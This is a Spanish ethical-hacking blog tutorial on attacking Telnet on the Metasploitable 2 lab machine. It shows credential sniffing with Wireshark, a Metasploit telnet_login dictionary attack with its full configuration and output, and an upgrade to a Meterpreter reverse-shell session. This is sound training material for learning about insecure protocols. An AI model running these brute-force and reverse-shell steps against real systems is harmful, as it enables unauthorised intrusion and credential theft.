Explotar Telnet

Hoy veremos dos formas muy sencillas de explotar Telnet. Esta es la segunda entrada de la serie Metasploitable 2 puesto que vamos a usar la misma máquina para explotar el protocolo. Los dos métodos son muy sencillos. Sin más carreta, vamos a la práctica.


Telnet.

Telnet, o Telecomunication Network, es un protocolo de red TCP/IP utilizado desde 1960 para establecer conexiones remotas con otras computadoras, servidores, y dispositivos compatibles en general. De forma predeterminada, Telnet utiliza el puerto 23. Si revisamos el post anterior, veremos que nmap nos mostró la siguiente línea: 23/tcp open telnet Linux telnetd. Eso quiere decir que la máquina escaneada, Metasploitable 2, tiene abierto ese puerto y, en consecuencia, intentaremos explotarlo.

Telnet es inseguro porque la información viaja desde un terminal a otro sin ningún tipo de cifrado, es decir, en texto plano. Para un atacante, como veremos a continuación, esta información es muy fácil de conseguir. Telnet ha sido reemplazado por SSH (Secure Shell), un protocolo de comunicación cifrada que utiliza claves RSA. Sin embargo, y pese a sus debilidades, no son pocas las personas que siguen usando Telnet.

Siendo así, mientras se siga usando esta vieja forma de comunicación, debemos aprender a explotar Telnet. No importa lo obsoleto que sea, mientras se siga usando será una oportunidad.


Herramientas.

Para explotar Telnet usaré las siguientes herramientas.

  1. Kali Linux.
  2. Máquina Metasploitable 2.
  3. Nmap
  4. Telnet (obvio).
  5. Wireshark.
  6. Metasploit.
  7. Diccionarios.

Todas, menos la máquina víctima, Metasploitable 2, vienen instaladas por defecto en Kali Linux. La máquina víctima para practicar y explotar Telnet la encuentran aquí. Ahora sí, al grano.


Método 1: Con Wireshark.

Explotar Telnet
Click para ampliar.

En este escenario nos encontramos dentro de la misma red de la persona que va a usar Telnet. Por ejemplo, un compañero de trabajo, el técnico de la empresa, un contratista, etc.

Si sabemos que alguien en nuestra red va a usar Telnet, lo único que debemos hacer es pedirle a Wireshark que monitoree el tráfico. Abrimos entonces nuestro Wireshark, seleccionamos nuestra red y le damos la orden de comenzar el monitoreo.

Wireshark nos mostrará la fuente (source), es decir la máquina que hace la petición; el destino, o sea la máquina que la recibe y el protocolo usado, para nuestro interés actual, Telnet. Cuando encontremos en la casilla Protocol el nombre Telnet, detendremos el monitoreo.

Ahora, nos ubicamos sobre Telnet, damos click derecho y seleccionamos Follow TCP Stream. Y eso es todo. En una ventana nueva se nos mostrará, en texto plano, las credenciales que utilizaron para acceder vía Telnet. En este caso:

metasploitable login: mmssffaaddmmiinn
Password: msfadmin

Y ya está. Acabamos de obtener las credenciales para entrar y explotar Telnet.


Método 2: Con Metasploit.

El anterior método fue un ataque de interceptación, es decir, un hombre en el medio. El método actual, en cambio, será un ataque de diccionario utilizando Metasploit. Para ello, debemos conocer la dirección IP de la máquina a la cual queremos acceder. En mi caso, la máquina objetivo tiene la IP 192.168.1.4. Para ver la lista de máquinas conectadas a nuestra red podemos usar el comando sudo netdiscover. Esto nos mostrará la IP, la MAC y el Hostname de cada equipo conectado a la red.

Sabiendo la IP comprobamos que haya comunicación. En mi caso con el comando nping 192.168.1.4. La respuesta deberá ser:

Starting Nping 0.7.94SVN ( https://nmap.org/nping ) at 2024-06-17 11:13 -05
SENT (0.0012s) Starting TCP Handshake > 192.168.1.4:80
RCVD (0.0030s) Handshake with 192.168.1.4:80 completed
SENT (1.0173s) Starting TCP Handshake > 192.168.1.4:80
RCVD (1.0177s) Handshake with 192.168.1.4:80 completed
SENT (2.0327s) Starting TCP Handshake > 192.168.1.4:80
RCVD (2.0331s) Handshake with 192.168.1.4:80 completed
SENT (3.0344s) Starting TCP Handshake > 192.168.1.4:80
RCVD (3.0347s) Handshake with 192.168.1.4:80 completed
SENT (4.0404s) Starting TCP Handshake > 192.168.1.4:80
RCVD (4.0409s) Handshake with 192.168.1.4:80 completed

Max rtt: 1.836ms | Min rtt: 0.248ms | Avg rtt: 0.678ms
TCP connection attempts: 5 | Successful connections: 5 | Failed: 0 (0.00%)
Nping done: 1 IP address pinged in 4.04 seconds.

Claramente hay comunicación. Ahora sí llamamos a Metasploit con el comando msfconsole. Esperamos a que cargue y escribimos search telnet_login. En los resultados elegiremos la opción 1 auxiliary/scanner/telnet/telnet_login con el comando use 1.

Ahora debemos configurar el ataque. Con el comando show options veremos todas las opciones que tenemos. No tenemos que llenarlas todas. Con llenar las siguientes será suficiente:

set RHOSTS 192.168.1.4 # Usted pondrá la IP de su víctima.
set STOP_ON_SUCCESS true # Para que se detenga cuando encuentre las credenciales.
set USERPASS_FILE /home/zc/Downloads/userpass.txt # Le indica la dirección de su diccionario. OJO: yo le doy la opción USERPASS_FILE porque voy a usar un diccionario que tiene el formato user password. Si usted usa diccionarios de usuarios y contraseñas por separado deberá usar las opciones set USER_FILE y set PASS_FILE.
set VERBOSE true # Para que nos muestre las combinaciones que va probando.

Volvemos a escribir el comando show options y comprobamos que los campos se hayan llenado con los datos que suministramos. Si todo está bien, solo nos resta lanzar el ataque para explotar Telnet con el comando: exploit. La salida será algo como:

[!] 192.168.1.4:23 – No active DB — Credential data will not be saved!
[-] 192.168.1.4:23 – 192.168.1.4:23 – LOGIN FAILED: root:root (Incorrect: )
[-] 192.168.1.4:23 – 192.168.1.4:23 – LOGIN FAILED: admin:admin (Incorrect: )
[-] 192.168.1.4:23 – 192.168.1.4:23 – LOGIN FAILED: test:test (Incorrect: )
[-] 192.168.1.4:23 – 192.168.1.4:23 – LOGIN FAILED: root:matrix (Incorrect: )
[-] 192.168.1.4:23 – 192.168.1.4:23 – LOGIN FAILED: ghost:ghost (Incorrect: )
[+] 192.168.1.4:23 – 192.168.1.4:23 – Login Successful: user:user
[*] 192.168.1.4:23 – Attempting to start session 192.168.1.4:23 with user:user
[*] Command shell session 1 opened (192.168.1.110:34635 -> 192.168.1.4:23) at 2024-06-17 12:08:41 -0500
[*] 192.168.1.4:23 – Scanned 1 of 1 hosts (100% complete).

Metasploit encontró las credenciales válidas y estableció conexión. Vamos a usar Meterpreter para interactuar con la máquina víctima. Escribimos la orden: sessions -u 1 y la salida será:

[*] Executing ‘post/multi/manage/shell_to_meterpreter’ on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.110:4433
[*] Sending stage (1017704 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.110:4433 -> 192.168.1.4:44035) at 2024-06-17 12:17:31 -0500.

Metasploit nos informa que la sesión de Meterpreter está abierta (numero 2). Comprobamos con el comando sessions -l, en la respuesta veremos: 2 meterpreter x86/linux user @ metasploitable.localdomain 192.168.1.110:4433 -> 192.168.1.4:44035 (192.168.1.4), y para interactuar escribiremos la orden: sessions -i 2. Y eso es todo. Ya podremos movernos dentro de la máquina víctima. Si escribo el comando sysinfo, en mi caso obtendré:

meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux

Con estos dos sencillos métodos podemos explotar Telnet y acceder a una máquina. En próximas entradas seguiré desarrollando las vulnerabilidades de Metasploitable 2. Buen provecho y hasta la próxima.

Siguiente ejercicio: Metasploitable 2 – Parte 3: Samba.

Categorías: G33ks, GNU / Linux, Hacking Ético
J. Inversor

Escrito por:J. Inversor Otros posts del autor

Hackear es un acto noble y altruista porque trae a la existencia la multiplicidad inagotable de todos los códigos, sean naturales, sociales, computacionales o poéticos.